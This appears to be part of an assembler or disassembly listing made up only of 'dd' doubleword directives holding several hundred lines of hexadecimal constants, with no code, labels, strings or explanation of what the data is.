		dd 7C04C823h, 58FEAD3Eh, 0F0EC7480h, 8B770FBCh,	4920F259h
		dd 0E7ACED50h, 78578717h, 0E9B93843h, 0EA33B831h, 3E68000Ch
		dd 0B19E5915h, 0D30E752Fh, 41459F80h, 8A403249h, 0A67420h
		dd 0AE5DEEB8h, 69AD26B1h, 949AFC0Ch, 21EABEh, 0A7CF8EDDh
		dd 0C8F6917Fh, 22E9EE04h, 9DC756A3h, 90EF29C3h,	58C12460h
		dd 2830880Bh, 699CCBD1h, 40E73300h, 166EF680h, 547EEFh
		dd 0B8A29B7h, 0CC8D777h, 0BC428300h, 1B95E8E2h,	0C0D2F86Fh
		dd 17334F68h, 19001E53h, 0E348B338h, 1F85D4D5h,	0D250AE75h
		dd 7118907Fh, 9200AD45h, 1C4DD549h, 2E96DAEh, 5C60577Dh
		dd 1560519Bh, 0E1002B24h, 0CFF341EDh, 0FB8E093h, 77F6985Bh
		dd 0B0DD9A67h, 3176EFE4h, 7991C300h, 3B19C19Ch,	0C4215C6Bh
		dd 0AA8DE800h, 0B399644h, 601F6C00h, 4BD4113h, 9DB00498h
		dd 0C0D962B5h, 0BC4A259Fh, 24546E03h, 89F28C78h, 49D0882Eh
		dd 0D43200A6h, 27B7B5B2h, 2CF50A61h, 0D15D0074h, 3096DAF9h
		dd 468F096Bh, 6D00AD43h, 0A8BAB0Fh, 11D7DD02h, 4051E858h
		dd 797E5Ch, 0CD59B99h, 0A7CBC0F2h, 41CEA500h, 0AEFA6DF6h
		dd 5B0941Dh, 0D0BDDDD2h, 5147879Ch, 9504AD00h, 180B67DBh
		dd 59B6005Fh, 0D8E6068Eh, 721E23F1h, 18AC7C92h,	58949603h
		dd 0B0F6F847h, 0BADF0262h, 0EBC50DF0h, 0AF303840h, 508273Dh
		dd 3B1A66EFh, 0BEAEED00h, 0F97B487h, 0B0025863h, 0A355B282h
		dd 2E804440h, 0D6A4AD00h, 43E29CBDh, 0FBEE00BBh, 0D5EAFE42h
		dd 76047B79h, 689F0DD7h, 209AB488h, 0B900755Ah,	3A78F19h
		dd 32157C9h, 5EBEC84Ch,	0BCE8755Dh, 7003947h, 32E00EDFh
		dd 0E66244h, 16830453h,	30033D93h, 5BF487E2h, 0DC91C428h
		dd 48EBE30Bh, 0F2BC800Fh, 0EA1F7Ch, 0D3AC3FDCh,	23A5DFB7h
		dd 705F0B04h, 538167C5h, 0BC20CC05h, 0CFB71D2Bh, 3BDC007Ah
		dd 76D36B36h, 532F2700h, 9099407Fh, 0AF5F5CBAh,	8D36C003h
		dd 91809418h, 610287E1h, 0E9EC9A7Fh, 0CFEC80EFh, 3365B3h
		dd 941096CDh, 180AA5A0h, 69009FE0h, 7407888Bh, 4B57F5F4h
		dd 43000A3h, 1EA24DE5h,	1510AA60h, 0FF0989h, 6A3FBEB0h
		dd 0DBD63A54h, 461D667Fh, 3C40A7F5h, 20B1A398h,	0E32E073Eh
		dd 0BB635177h, 0F720D80h, 0EF009422h, 0DB159BE9h, 0DE5AD1h
		dd 55020E1Dh, 748D1850h, 5B4C0107h, 0A003A06h, 0EE192DD7h
		dd 81CB00C9h, 0A97238C2h, 5400598Ch, 0E2F290F9h, 5D7BE58h
		dd 751D165Eh, 36A8008Eh, 0F43394A6h, 807A533Eh,	266BBDF1h
		dd 281C15A1h, 8C56B1h, 0DED32286h, 9BF063B9h, 2F020502h
		dd 404574BDh, 60A02614h, 7CA3B028h, 1F72B6CDh, 0B3ECAC00h
		dd 5C31630h, 0A7A807D7h, 701B8DF5h, 975B1C6Bh, 4C0078E8h
		dd 55861F4Fh, 9BABC2h, 0A39CEB6Ch, 0F6C788EFh, 0B64F9801h
		dd 0ABE3BAAh, 40CE6061h, 0E81BFA53h, 0BC8E5084h, 5C8A00DAh
		dd 2F078218h, 91753840h, 8C252228h, 0BA0E2775h,	786AA92h
		dd 0E2C130B5h, 0ED31D9EBh, 0E6D2120h, 85ADCB52h, 882BB380h
		dd 0FD4C33B1h, 0F3BA0028h, 0AC8CFB5h, 57073A48h, 715AF200h
		dd 8CC53328h, 3F82149h,	0E3EABF2Ch, 0E899C3A3h,	0F8965E01h
		dd 9AE67654h, 4EFA0C38h, 0E0B9F2D0h, 0FDED4012h, 0E4109E00h
		dd 3CF2409h, 93C0E30Ch,	27FBCD95h, 6ECC3817h, 0A24B5020h
		dd 0DD910084h, 0FC87E6A0h, 17007FACh, 0BE3126F1h, 605DB10Ch
		dd 999121B9h, 1D05F759h, 8A0E8552h, 9568F600h, 39295163h
		dd 7080E6D5h, 6233A318h, 9C0FF18Ah, 61FBCE32h, 0C45AFDD4h
		dd 60ED7AD8h, 9105E843h, 453F4E60h, 7B2B802Eh, 0C6A76278h
		dd 0DA0E3F06h, 155AC102h, 0E623F9BDh, 0C8AA8F9Eh, 8E00B497h
		dd 3702C69Bh, 7BF5002Ah, 0E1EA9730h, 0ACB819A8h, 0C2244200h
		dd 4AA37887h, 475F00F2h, 1673D1Eh, 0A0DEAE22h, 34C0A41Fh
		dd 0D6693559h, 0DE0603F1h, 7A8C5E2Bh, 0F88377E3h, 0B5BABEA8h
		dd 31AAA3Fh, 24A60A98h,	51C82850h, 0B7360086h, 0FA4D6089h
		dd 7E07C36Dh, 3464E65Dh, 22BE2640h, 0F3372419h,	0D8CE08FCh
		dd 0ECD0A4BEh, 64887904h, 9C39D780h, 892B013Ch,	984B5AAAh
		dd 6D8700Fh, 4374E0Bh, 75B4005Eh, 672ADFh, 0AA0A4514h
		dd 0A674CDE1h, 0B83C5524h, 893EB700h, 0C230B1Dh, 5791CF1h
		dd 22005118h, 0EB02C20Fh, 93F07BAh, 0D3DD9EBEh,	3605EC01h
		dd 5A95C420h, 831D613Bh, 9F741E34h, 9748C0B1h, 681200BFh
		dd 7EC48127h, 8F00254Fh, 0F2FB7323h, 115E41Bh, 7602F3B9h
		dd 405198D1h, 77B04290h
		dd 497EDE5Ch, 0AA7F00E4h, 7B9F4016h, 0D05E0031h, 36EE55B9h
		dd 898BE29h, 5DA30700h,	6852D7D5h, 85210046h, 5A62F942h
		dd 800A92Eh, 783C847Ch,	1502C73h, 0FB07CED2h, 344A3E25h
		dd 0E40F0444h, 409F1B05h, 5B6282EBh, 0E1DB01ADh, 6C2E0610h
		dd 10D2094h, 0CE08B00h,	0FC3E0F12h, 187D00CCh, 2CC5ECFEh
		dd 56006044h, 1294EFCEh, 961F79h, 0CC87E91Ch, 5EB7A8DFh
		dd 5A712626h, 0F90C5400h, 2C91DB8h, 0A4AFBFBEh,	0DC608894h
		dd 0D800A201h, 5B4E573Eh, 12F835A0h, 6C5162h, 9017812h
		dd 192EE3B5h, 91008689h, 0BB9C798h, 60A800E0h, 0EAFB6440h
		dd 88001547h, 0A58F100Dh, 0F33F19h, 8BDA3258h, 0FFF9FE0Eh
		dd 3DEA438h, 5D390317h,	0D5A3987Eh, 0F0E30052h,	95132208h
		dd 0FE733C71h, 52EC5E8h, 2600F0A6h, 0DB216645h,	78A20560h
		dd 45704D6h, 0D07209CDh, 740C0B50h, 2E81D31Dh, 0A589BF1Fh
		dd 6CD0008Ch, 0ECA9F4D2h, 0EB70006Dh, 29F09D23h, 0CE00ABD0h
		dd 0D6B1AFC9h, 0C4DCA7h, 0C20367DEh, 0DFD27FBh,	81C0100h
		dd 4A604EA0h, 42720244h, 2061605h, 0D45768E0h, 65C3F700h
		dd 77DDC6B0h, 0B12F0004h, 749DB49Eh, 3B5C80C4h,	0CFEA00F8h
		dd 0F25F538h, 71561CCCh, 410E4DBh, 80C884CDh, 0F4AFB474h
		dd 705C7E1Dh, 4CB0CC3Dh, 1C7B24CAh, 3C92D79Dh, 3D00541Eh
		dd 0EB463A78h, 2CFB0BEAh, 0FC487198h, 0A60F5341h, 20225514h
		dd 9EB4ABD7h, 3AD100CCh, 0BD07F8DEh, 63003201h,	2C5FC891h
		dd 422ECDAh, 5BFEE172h,	0CC9481D5h, 0D870601Ah,	8B13DD3Fh
		dd 0C1E96268h, 8430A7A0h, 873B244Dh, 0DD0200D0h, 98488EB0h
		dd 0E34B649h, 4052A63Fh, 0DD06A99Dh, 0CE2F2690h, 4158F04h
		dd 600AA487h, 6D98074Eh, 7C368E03h, 0D318A9CEh,	336800E9h
		dd 0C7592D83h, 193F1E26h, 421C00B6h, 7C8E9AB9h,	0F6DA008Ah
		dd 7EE1FB38h, 68008FCFh, 0B93CCADDh, 6EFE5BCh, 0E210FE76h
		dd 0C7007804h, 248FA6AEh, 7B6BAC1Eh, 6D0D0C2Fh,	0D920E8F1h
		dd 0D807B102h, 40C6CD64h, 3828AEB8h, 0B903E543h, 0B721D7A2h
		dd 0E1A07CF3h, 0F70013AAh, 8BC642BCh, 562EF64h,	0BBB32BFEh
		dd 49B40063h, 0C611812Dh, 25FF3701h, 0AD0E116h,	0D3FDC4h
		dd 0DD7572F6h, 4EBBFAEFh, 9C29B21Eh, 78C3B040h,	28EED0AAh
		dd 3930DDCh, 1F409DE1h,	3AF8F94Fh, 0F3289552h, 0A800C834h
		dd 0E2197E73h, 0FE42447h, 71B6EA10h, 963EE494h,	0C0F5C31Fh
		dd 0DE1A3CF4h, 6400B7FCh, 0E0953218h, 4FEE2621h, 8780EFFh
		dd 0A6A1B580h, 4913E242h, 48835BCh, 5C1A003Dh, 3C8E9181h
		dd 770256D0h, 36C38D8Fh, 0B8D8BDh, 0A016F3E5h, 1F8B9B58h
		dd 0C9BFDA07h, 1490202Ch, 1922840h, 0D61354B9h,	6C36C287h
		dd 4FF514C4h, 50FB02F2h, 0C825C146h, 9078A064h,	45BF0080h
		dd 5CC7C237h, 1CF66D72h, 8575482Dh, 0EA8066D0h,	0E3029Fh
		dd 62937176h, 2B30B0A5h, 55F8A201h, 0D8CABDBAh,	0F0538DDCh
		dd 617400FCh, 970E6A2Fh, 0AB3D2E0Ah, 0F4798014h, 0FFDC3FCDh
		dd 0F2A9007Fh, 8D7ABFC0h, 403C3D5h, 6A1DAE0Bh, 4E68D05Fh
		dd 2E3D146Bh, 460FCC65h, 32A88BA8h, 814DB400h, 2441B167h
		dd 0BBDC8720h, 0AC487607h, 3165305Ch, 0E03696Eh, 796A4256h
		dd 4641E071h, 0CF38074Ch, 0D015FE34h, 20F04582h, 841A8D3Ah
		dd 0D5E32DE2h, 6214B0h,	964C7DEBh, 0CC14F72Ah, 2753DE0Bh
		dd 0A234E0B9h, 0AD6A2F3Fh, 5B587C80h, 0A0BAACC9h, 10613800h
		dd 0ED662B67h, 19FD7AE1h, 21B444BEh, 591C2052h,	369BD202h
		dd 0D958E9AEh, 404203E4h, 5800187Eh, 0BB97FA2Bh, 3DDB5948h
		dd 5CD8CE51h, 8006427h,	0C2FC2366h, 69229A13h, 0CDFD68C0h
		dd 542A00E2h, 9BF9735Ch, 9C00E5BDh, 0D1297DAEh,	1D95B5B0h
		dd 8788D580h, 507C5D6Ch, 54614A1Fh, 34EC4200h, 0FEB190C5h
		dd 400400B3h, 0C9D50EEEh, 19EE3248h, 9D377200h,	0E3BC20CEh
		dd 13F30063h, 0C4112D1Ah, 0F8004FB0h, 5F7AACA5h, 0D7F2D6h
		dd 0E4E87B62h, 1A17B43Fh, 0F1D0481Ch, 675CBFC0h, 74D5DB6h
		dd 94D1E7B7h, 96F2605Eh, 0FF007824h, 8B7B73B4h,	6D2E2Ah
		dd 4BEEAFB6h, 2F74EC61h, 9EDA8900h, 0DCC1C5Ch, 8EC01277h
		dd 0D7388755h, 0CB59B085h, 0CD00AEBEh, 0D863B592h, 2037D0h
		dd 0E53A8B1Fh, 0A4F45F5Dh, 1027FC96h, 0C8B2E0Ch, 0CD58E235h
		dd 125BBC40h, 6F1AE6B8h, 43C0604Ch, 0D97E9643h,	0BACF873Bh
		dd 0A8663D64h, 4481F4EFh, 3419FDDFh, 2E0028F0h,	0DE2DC104h
		dd 58787503h, 0DE6FB4DBh, 0C82C2080h, 0CA03A87Ch, 86D469D0h
		dd 67DAC894h, 0B77249h,	1B90AF22h, 1C094E32h, 42F9C01h
		dd 1F9759D0h, 13119D0h,	1D4253A7h, 80AB0E80h, 0FA352848h
		dd 258AC65h, 0E18B0A33h, 68B91531h, 74DC0CEBh, 8DB7B44h
		dd 5C9118F0h, 4C118001h, 0C0C29628h, 7CADED55h,	37B400FBh
		dd 5923D6D9h, 0E2006534h, 2D952053h, 7339051h, 52AD9EE5h
		dd 2B404E47h, 8E49F9D1h, 0E2408800h, 2C912A4Bh,	0EECF00BFh
		dd 0D63907FAh, 7A03AA97h, 494AB586h, 0CCD0CC32h, 75D53311h
		dd 0B3B9C1C7h, 0E808CA5Bh, 633336D9h, 3D5A09D4h, 0C1021321h
		dd 0BC73C3F8h, 60207241h, 21C0645Ah, 0E2CEC4A5h, 62A83C98h
		dd 2EFF6B00h, 0AB1BF3CBh, 0A4EDBC13h, 4F9F2480h, 939E009Bh
		dd 5B6D1E40h, 0BE00FD71h, 0D911D4EEh, 0E1D05B2h, 0F08055AAh
		dd 65215860h, 98005197h, 2D932B86h, 7AD450BAh, 109212h
		dd 82641870h, 978734D3h, 80CCB31h, 20805DD2h, 4A642091h
		dd 300013E7h, 0C6D5B055h, 0B346EAh, 525E258h, 932A3DC8h
		dd 2D665238h, 532000DAh, 0F54D3E5Ah, 1FECE98Ch,	34005E19h
		dd 2423A98h, 20D60C5h, 9F722A40h, 14C1B204h, 81505413h
		dd 0FAD2D037h, 10075091h, 386426A3h, 42037A48h,	0C9B38CB2h
		dd 0A286C890h, 29058A34h, 0CCA0B837h, 75E7DAD9h, 0A5A60172h
		dd 0E34F846Dh, 4E60C64Bh, 0E4280426h, 0A2545C24h, 0E9FFF7C0h
		dd 9FFFD075h, 172B2A00h, 0D4EE7F6h, 0EE88003Eh,	734626A8h
		dd 0F907BED5h, 9DB5C4FFh, 9FD92240h, 94A9036Dh,	70FE35A8h
		dd 0A509900h, 0EED48773h, 0D93E03C5h, 4EF29F9Eh, 0BEEBAD83h
		dd 742C7AC1h, 671D089Ch, 9226358Ah, 0E00AB421h,	63159CEEh
		dd 642580ECh, 8C0CD383h, 0C190D444h, 0D2ECA520h, 0DC82EAB5h
		dd 0A0010B89h, 9C48D616h, 12D88B52h, 20F97AC4h,	0C10421A1h
		dd 1FE6E3EBh, 5A9DB481h, 60389060h, 0C541316Ah,	33B03FC2h
		dd 3CDAD400h, 83F223B2h, 0A26FCBEh, 32D15AB4h, 21920018h
		dd 0BBC74686h, 0C10081F2h, 0EF98A322h, 26437A8h, 1CAC505Ah
		dd 0C885A62Dh, 495800ECh, 1D4B0555h, 2FEA8200h,	68196EC2h
		dd 42E802h, 0B4CF81E6h,	0DF38FFC8h, 6C5AF200h, 979C6772h
		dd 0B26F0F03h, 0B4808AECh, 2E2362CAh, 8B01820Ah, 0A080B026h
		dd 45DAC4CDh, 0CA6B1369h, 0EEDF00A4h, 0D5BC6DB3h, 0F91B4D02h
		dd 90148F08h, 0D8EF9Ch,	2637FD2Ch, 0B5C3CD55h, 0F3762879h
		dd 33C96F8h, 4EC5264h, 0FB1DC78Ah, 0EE8BA480h, 59C60380h
		dd 0D5B6A9B9h, 97DC65C0h, 0E304330Eh, 5DF48034h, 0E0B275h
		dd 0D78C2917h, 0F9211536h, 0F2050D71h, 8B7D6F6Ah, 35F3C6C1h
		dd 379A0F4h, 828E2CD3h,	63B09CD5h, 0EC3E5C8Bh, 0AE9183E5h
		dd 0A39B070Ah, 20F609h,	0F5C8343h, 79726F13h, 56513A00h
		dd 903E34BEh, 479F00ECh, 0D509BF27h, 8474FDFCh,	16059201h
		dd 83D0BBFBh, 0E87CF0h
		dd 98D67EC3h, 0E025C7BFh, 797E4574h, 9D2980h, 3268AC0h
		dd 0EA0DF7C4h, 0E0FAA1CEh, 0D906B9A4h, 0AAAF0154h, 890FCDD0h
		dd 0B7ADD475h, 48EADC06h, 0B15FA8h, 980F4083h, 4F93C54h
		dd 0CB7F3500h, 87425C3Eh, 0B68A3A20h, 0D5675080h, 6959F91Eh
		dd 99049D3Bh, 5E28CADAh, 8FF419F1h, 6F4900A8h, 95D4717Bh
		dd 0C9030D07h, 1DD56E78h, 434B8A12h, 0CD4DE0B7h, 0EA740008h
		dd 0E47F9952h, 0F0028483h, 519EDD4Eh, 58049F02h, 0AD6027D9h
		dd 7E48410h, 9806F838h,	0A13A00A9h, 0BA96BB26h,	45077A99h
		dd 50AC7EDCh, 0D1377350h, 6E2C1806h, 3B7F283Dh,	1DE3E280h
		dd 37AE193h, 0C150FEC5h, 393C03E8h, 0D981481Eh,	3F14BD83h
		dd 6318EA88h, 8323E8ECh, 9EAA3B0Ch, 829C00F8h, 6B42B273h
		dd 5900D447h, 0C512AFCEh, 78C7B57h, 0EA70A13Fh,	71DD0010h
		dd 5E009D18h, 49AD1672h, 12B091Fh, 75C508D8h, 0C08D7738h
		dd 8AFA4D97h, 18C1DA7Fh, 540EC9A9h, 32D438C5h, 46420ECEh
		dd 0C63E072Dh, 280A3B2Ch, 1A59E304h, 4CC09536h,	0FE4E2C0h
		dd 8545CEE5h, 677F6140h, 9D00DA6Eh, 60D2AFDEh, 0F43B71Dh
		dd 0D782F755h, 0BB4BE700h, 77FC2B1h, 6444BD00h,	0C6C43DD1h
		dd 1CDF1F0Bh, 626E40A2h, 0A12C4D2Dh, 0B483F700h, 0EC30883Bh
		dd 6B72DEh, 2173AE5Ch, 2A5723E6h, 0E952E500h, 74599A3Dh
		dd 3D25F8BAh, 0C200FC54h, 41D47BF6h, 6C007E87h,	0BECA0F59h
		dd 314E5C6h, 272EB15Ch,	0AF987108h, 9100427Fh, 0AE4BDC2Bh
		dd 5BBAA7h, 8522A29Bh, 0EC9433D6h, 0C0CCF400h, 0F94EAD38h
		dd 0F71F1DC9h, 301DC056h, 0A459C73Bh, 86B10100h, 9FDC219Dh
		dd 32290740h, 0C0330FE5h, 580CE33Ch, 46178230h,	74195EE7h
		dd 22DC008Fh, 54029571h, 8600F2BFh, 2B2FAF1Fh, 2A69A8CDh
		dd 0D89253h, 0A54BCB10h, 0B151B659h, 0FA8D8A12h, 5F7C5C00h
		dd 0BA73C8h, 97FFF2ECh,	0BD1A7765h, 0AA309DEEh,	0EE684016h
		dd 0BE79014Bh, 2EB9F9DDh, 5B60C481h, 67008492h,	0E56B2C20h
		dd 82D3Fh, 982AEFE7h, 0FE7E493Bh, 3180F200h, 0DA23D29Ch
		dd 9B5500DEh, 0F999949Dh, 0C0017F88h, 0CAA18672h, 1887691Eh
		dd 70BDF05Dh, 0E9935BD6h, 3B3CD254h, 7E967300h,	0E4377787h
		dd 221901A3h, 6DBAB4F9h, 0A4288028h, 0FF769B8Fh, 0BFE0C1D1h
		dd 0E0FDD0AFh, 0A50098CAh, 0ED31396Fh, 0C57004h, 8B57B32Fh
		dd 2E32B625h, 231FF090h, 2D806E29h, 3C421C06h, 24550072h
		dd 4861E4E9h, 0AF00E38Eh, 93054407h, 440091Bh, 14D39286h
		dd 364806Ah, 0ECE64D25h, 1C0E0E77h, 87DA5654h, 12A1AD01h
		dd 28806BD5h, 0E8FCC726h, 4800FE4Ch, 0EBC2FDCFh, 0E8BEAAFh
		dd 67837194h, 0AA06DCF4h, 3831A7F6h, 822F1602h,	6BD9293Ah
		dd 2C6085A4h, 5199B210h, 9CF0ECF3h, 90BF0F51h, 0C3E03D9Ah
		dd 707B8139h, 0C69D2606h, 39177Ch, 0F1B6CA84h, 1E307AA4h
		dd 305391A1h, 75004F33h, 28191F69h, 249EF08Dh, 24FBC7h
		dd 8C8605Ah, 1C91F558h,	8024F38Bh, 0BE6F731Fh, 98F61FF7h
		dd 7DB281A2h, 0F457BDEFh, 5500DC3Eh, 7CBAB7A5h,	0F8221346h
		dd 58CE0091h, 0FDCC1EA9h, 0C3091D4Fh, 88463A8h,	2683CC00h
		dd 0E19B94Ah, 62082240h, 0F0ED0C16h, 5A004CF0h,	217828A4h
		dd 0C86470Fh, 5E997A7Dh, 7C0FB221h, 0C4550831h,	0A48C7024h
		dd 0AFBA1FBEh, 9B9D0F50h, 86FDA100h, 990E0298h,	92D491E6h
		dd 6AB57C44h, 36A06824h, 45FB4307h, 85948382h, 164E9C82h
		dd 0BE612088h, 0A4EFAE03h, 805107B3h, 0F78960h,	9CC4B004h
		dd 62098B70h, 4EB522Eh,	0E943C420h, 330CBC03h, 51000AB3h
		dd 27EAA12Bh, 78C34C9Bh, 15861426h, 0D5139C34h,	0AD88032Eh
		dd 50A21F2Dh, 0B14B9481h, 0C38C504Dh, 943F6671h, 7D0CDE1h
		dd 84A29E50h, 4800E8D7h, 74BF4E87h, 909F5080h, 6EF744AEh
		dd 0AB696801h, 0C6E40D2Eh, 0B2095832h, 4C2039CCh, 0F89344B6h
		dd 0E97D6A00h, 0A66690F2h, 5A4A047Eh, 0C065581Ah, 37DC3A3Ch
		dd 2C172124h, 6097CA00h, 3969A91Eh, 0AF963572h,	2DCC473Dh
		dd 0DA80AB29h, 0F0FAD181h, 0F3073493h, 5DB01767h, 22FD8EAh
		dd 24300A6Eh, 4C63E11Fh, 0B2A8FCF0h, 0F2908B00h, 6F56C504h
		dd 0AB9B00FAh, 18698DD1h, 0BA26D472h, 7D01C7E2h, 0B0F98B84h
		dd 4A51C20h, 0FEC4A8AFh, 5DE4C0D2h, 40901FE0h, 71280901h
		dd 0F2C7DE37h, 47BB3007h, 1A0003EEh, 2D307E6Eh,	0DA19B2h
		dd 53F8D25Fh, 235C24B9h, 0D0F6942Ah, 895E80Fh, 0BB27C0ABh
		dd 16F9C8EDh, 779AC5h, 1691A8FCh, 45F6976Dh, 0F74BD49h
		dd 258C2D27h, 50C7E0D6h, 1F440F00h, 69C205B8h, 808BD7CAh
		dd 9E722410h, 4A1B6B00h, 0A4A38197h, 0ABDE05C9h, 0D0B6503Dh
		dd 0BEF6CC7Ch, 7467E900h, 81E4E327h, 146A0386h,	82A4F978h
		dd 0D4D6AFF1h, 10002EFFh, 6D54622Dh, 0F9CADF83h, 772020h
		dd 0BCB217FDh, 8B19C9B4h, 710727EEh, 385A7B5Eh,	0F511E700h
		dd 0B5B70362h, 0AB4E4224h, 36A99600h, 13BBE5F7h, 0B37400DFh
		dd 0EC92A0F1h, 0A4A0C0EDh, 494C01D6h, 32007550h, 7920610Fh
		dd 7C8E67h, 81B0DC40h, 92091AA2h, 344949FAh, 5E18009Ch
		dd 0F8BFEFDDh, 5B120096h, 0E9730447h, 9B16F392h, 8326759h
		dd 6090EAE4h, 2213AE3h,	23EAAAC2h, 9480DAB5h, 509D60A7h
		dd 0B71A8C00h, 0AC69FB12h, 0A12D0070h, 0B9D1E57Ch, 7E7DBC62h
		dd 0BBE11D01h, 6C5FC736h, 26D864h, 0AF80DE6h, 9EE4F4FCh
		dd 0F9A420h, 0A37661A9h, 56F5AA21h, 25B11800h, 9BC38375h
		dd 66330012h, 52D6F6CAh, 8B3B447h, 0BD0BBEACh, 3C50200Fh
		dd 0A5A925Bh, 0F20CC561h, 81EF80ECh, 7E2DD83Dh,	0C8D95309h
		dd 1458A0D6h, 17373FADh, 29F5822h, 0DB4B2092h, 3730E761h
		dd 0DF950080h, 71E8D5DCh, 31481FE6h, 0CCE107E7h, 80CB6444h
		dd 0D26BA9A6h, 1547B49h, 114FF1EDh, 7180CAAEh, 0E40A2494h
		dd 280002F0h, 12EA6A43h, 49857940h, 9E05E8CFh, 90DE2D04h
		dd 0D19602D0h, 0A69DDA3Fh, 1E81303Dh, 0F217A140h, 3EC6C830h
		dd 149CF7EAh, 43A8CCB1h, 6B033038h, 0D03F6DBEh,	5191005Fh
		dd 0EE31D35Bh, 1639708Bh, 0D0DCAA73h, 18E8AF00h, 0F440596Dh
		dd 1D69007Dh, 19DAAE7Fh, 0E5008229h, 0A53428FEh, 13B9B1FBh
		dd 40682339h, 0F91E8BA8h, 0AE00C5B3h, 0EC4E192Ah, 79056Dh
		dd 575FE499h, 0E32F9BA3h, 0C245271Fh, 70BF3Eh, 0BE4C92C8h
		dd 143D98F3h, 0D060E38Bh, 0E28E2707h, 58AB0FD3h, 0C3C0E081h
		dd 634420D0h, 0DC8030B1h, 0A45761E0h, 0C0F218D7h, 0F6EAE919h
		dd 688BD0A8h, 6B9D800h,	4314C9C6h, 0A046EE0Eh, 91DB4h
		dd 18B5AA2Fh, 39F8FD2Bh, 0C85F772Ch, 0B009020h,	55C757D3h
		dd 35D8F5h, 4B51662Ah, 0C4B6B4B2h, 9F0D970Fh, 0A73B892Fh
		dd 7250DBD4h, 30F7C11h,	0C58E31A5h, 86F909B6h, 8866F2h
		dd 93D3AE39h, 3A47ADh, 220A627Eh, 0EA07649Ah, 0DB834C09h
		dd 77F4844Fh, 1FD90886h, 40D567D3h, 6E68B855h, 303F4446h
		dd 2440CA4Ch, 0E9214E84h, 2C27594Bh, 2CBBF900h,	45160E83h
		dd 624649C1h, 0D7E8D54Eh, 724700CEh, 7A8EA776h,	680BB78Dh
		dd 0A6748Ah, 4F2392B0h,	9E950E80h, 0F38EF4h, 4DB056D5h
		dd 18059C64h, 0C5AF90C3h, 1777C201h, 78803332h,	0DE11D8FCh
		dd 72502F13h, 2048AAB8h, 17B3E41h, 0BC7AB25Fh, 8840DAD7h
		dd 0BEA8C4h, 0DDC63B9Eh, 0DF05818Ah, 8995900h, 0FAC1E53Fh
		dd 87FC06B4h, 50375336h
		dd 0D1AF7A30h, 4A5B90h,	0CE41A8Ah, 50D5F868h, 0EA8CBB00h
		dd 0A98642ECh, 0F2A5187Dh, 0CE5A2892h, 0F552271Ch, 3C142900h
		dd 2DBE21h, 0B7B3E0FEh,	7AEC8C6h, 0EB0F2500h, 0E2E8B2C9h
		dd 0DE665h, 0F03390ADh,	11B50110h, 0C004A700h, 4A972D53h
		dd 0FF0B0094h, 0A46B1585h, 4C248F08h, 960E5CE6h, 3F7A602Bh
		dd 718863BDh, 1D0F7F2Dh, 0CE18B4C8h, 20807093h,	0BA6446CFh
		dd 0F274E01h, 15259B14h, 0FB1D08FCh, 0E506B42Ch, 0C8AEEBC9h
		dd 1196AF05h, 34887A91h, 61FC3914h, 0C1F9B07h, 804B648Bh
		dd 0E840B55Ch, 2D5D6E00h, 0C1C06DEFh, 115500DFh, 0E505BDBBh
		dd 0D50EA2E1h, 0A02DF9F2h, 48C1DC57h, 79B400D3h, 5E9EEE68h
		dd 4AEEDABAh, 0C275F203h, 7BDD9D56h, 0ED290010h, 4009C93Dh
		dd 0ECFB2412h, 820048D5h, 35C0A398h, 346CF6h, 0B67CE9F8h
		dd 8179F749h, 0CDFD3300h, 8D574F82h, 9CBF0EABh,	0B3C0CF0Bh
		dd 0AD3A0540h, 0AF02A700h, 8E42AA56h, 32F40128h, 2D44B481h
		dd 3361DCA4h, 95823Ch, 16FE5591h, 11AC3D7h, 65A21536h
		dd 2087B872h, 6E005B90h, 29D357BBh, 8D6848h, 12380FCCh
		dd 7202AACh, 9110E100h,	0DD4BDABDh, 6152000Ch, 0CE6D7C17h
		dd 3C07220Bh, 0ADE89982h, 6F349680h, 0BA4D0032h, 2D74B61Dh
		dd 7300FB24h, 4F89A39Ch, 267AA9h, 3A97FDECh, 0F6D26D3Fh
		dd 91BED803h, 0B8C0D48Eh, 386BB487h, 0E2A66ECFh, 0F9FD00F8h
		dd 0AB3D1BDFh, 0A1073F79h, 14C12E48h, 0FC306CD0h, 413638A4h
		dd 5BCD5280h, 0EDF9E38Fh, 5693D430h, 0FCBD97FCh, 0DD95099Bh
		dd 50809F37h, 84E57190h, 0A3EEA00h, 0B6EF3B91h,	2AAA0B0Ch
		dd 3880A786h, 188F2B72h, 82846150h, 2640B703h, 0A8F51B04h
		dd 1694CC99h, 40033BD1h, 0A207B4BCh, 0F300BC3Fh, 5AF7B760h
		dd 8BA7BFh, 0C424909Fh,	0EABB62B1h, 5FE7C602h, 40B91380h
		dd 0E47AF04Eh, 9480A8CBh, 9460E3DCh, 0E3AE0046h, 605853CEh
		dd 0A9072456h, 2D570A77h, 0E497B440h, 1AF02CF4h, 46D40070h
		dd 2874D6A0h, 0E1305B03h, 9EA501h, 0B2A658F0h, 38B410F7h
		dd 0A46AC900h, 0A3192504h, 2E7703DFh, 57342190h, 0E1C3A898h
		dd 394E0C07h, 11C0CF8Fh, 0D9814Bh, 29D0988Bh, 0B5A9DFD2h
		dd 228AA780h, 0B23D655Ch, 0F6380E37h, 7214E056h, 1F79B50Ah
		dd 9EE327D3h, 0F3A180D8h, 2B08DACFh, 0E41CB77Ah, 2D803461h
		dd 5F684692h, 0CE4D00BDh, 4A76C0C2h, 3C001374h,	430211F3h
		dd 9B07EEEh, 0E69E70AFh, 0CDED4400h, 0C7034558h, 6C7AABA4h
		dd 4F72F8DEh, 0EF3F0036h, 0BE92BFC2h, 0B011427h, 0B3E58FB5h
		dd 0E4FCE830h, 4B3A004Ch, 96AADAD8h, 61002E07h,	0EECF474Eh
		dd 5C7304Fh, 81C1428Fh,	3C4C057h, 0E800E5DAh, 24FF8AEBh
		dd 197DFh, 1D528792h, 8BAEE4D4h, 0D040B114h, 1C4C93h, 0F489F824h
		dd 1B58727h, 2D58CF46h,	0C49C99EBh, 0A203736Bh,	0A9A66486h
		dd 91D4F0ACh, 1E7E0FD0h, 0CC80FFE9h, 85C06B68h,	0B4D84713h
		dd 23571C90h, 0DBC8000Fh, 743203CAh, 0DC94D3DFh, 804FED0Bh
		dd 0A050F700h, 0DDF80E92h, 132FA698h, 5B31B2A0h, 0A0EE92Ch
		dd 0A0021F09h, 5642652h, 7FF80050h, 0C6E39145h,	0A6508C94h
		dd 6A138497h, 7090C7E6h, 742D700Ch, 8B8F0082h, 855E73E2h
		dd 0B7004C41h, 954AEF22h, 6ACF3Ch, 0AC6082F7h, 0ABD82003h
